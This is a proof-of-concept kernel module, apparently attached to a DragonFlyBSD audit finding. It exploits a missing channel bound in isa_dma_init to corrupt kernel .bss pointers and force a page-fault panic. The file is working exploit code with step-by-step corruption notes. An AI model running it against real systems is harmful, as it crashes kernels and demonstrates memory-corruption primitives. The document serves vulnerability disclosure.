⬢ DragonFlyBSD Kernel Audit
DF-5519 / df5519_panic.c
← back to finding ↓ download raw
/*
 * DF-5519 PoC part 2 (fatal) — sys/bus/isa/x86_64/isa_dma.c
 *
 * Demonstrates the memory-corruption consequence of the missing channel
 * bound on the RUNNING production kernel:
 *
 *  .bss layout (nm /boot/kernel/kernel):
 *      0xffffffff819fb260  dma_bouncebufsize   (u_int[8])
 *      0xffffffff819fb280  dma_bouncebuf       (caddr_t[8])
 *      0xffffffff819fb2c0  ram_devclass        (devclass_t!)
 *      0xffffffff819fb2c8  nexus_devclass      (devclass_t!)
 *
 *  1. isa_dma_init(0, 1024)   -> dma_bouncebuf[0] = <valid heap ptr>,
 *                                 dma_bouncebufsize[0] = 1024
 *  2. isa_dma_init(8, 0x1000) -> OOB write dma_bouncebufsize[8] lands
 *                                 at &dma_bouncebuf[0]+0: low 32 bits of
 *                                 channel 0's bounce pointer := 0x1000
 *                                 (forged pointer).  The companion OOB
 *                                 write dma_bouncebuf[8] lands exactly on
 *                                 ram_devclass (type confusion).
 *  3. isa_dmastart(WRITE, hibuf, 256, 0): buffer is above 16MB phys ->
 *     bounce path -> bcopy(hibuf, FORGED dma_bouncebuf[0], 256)
 *     -> wild kernel write -> page fault -> panic.
 *
 * Expected: kernel panic "Fatal page fault ... in isa_dmastart/bcopy"
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/bus.h>
#include <bus/isa/isavar.h>

static int
df5519p_modevent(module_t mod, int type, void *arg)
{
	void *hibuf;
	int rc;

	switch (type) {
	case MOD_LOAD:
		rc = isa_dma_acquire(0);
		kprintf("df5519p: isa_dma_acquire(0) = %d\n", rc);

		rc = isa_dma_init(0, 1024, M_WAITOK);
		kprintf("df5519p: isa_dma_init(0,1024) = %d (dma_bouncebuf[0] = valid ptr, size=1024)\n", rc);
		if (rc)
			return (0);

		rc = isa_dma_init(8, 0x1000, M_WAITOK);
		kprintf("df5519p: isa_dma_init(8,0x1000) = %d\n", rc);
		kprintf("df5519p:   OOB write #1: dma_bouncebufsize[8] -> &dma_bouncebuf[0] low32 := 0x1000 (forged)\n");
		kprintf("df5519p:   OOB write #2: dma_bouncebuf[8]     -> &ram_devclass (devclass_t clobbered)\n");
		if (rc)
			return (0);

		hibuf = kmalloc(4096, M_DEVBUF, M_WAITOK);
		memset(hibuf, 0x41, 4096);

		kprintf("df5519p: isa_dmastart(WRITE, hibuf, 256, chan=0): bounce path bcopy()s 256 bytes to the FORGED pointer -- expect page fault panic\n");
		isa_dmastart(ISADMA_WRITE, hibuf, 256, 0);

		kprintf("df5519p: NOT REACHED (kernel should have panicked)\n");
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df5519p_mod = { "df5519p", df5519p_modevent, NULL };
DECLARE_MODULE(df5519p, df5519p_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);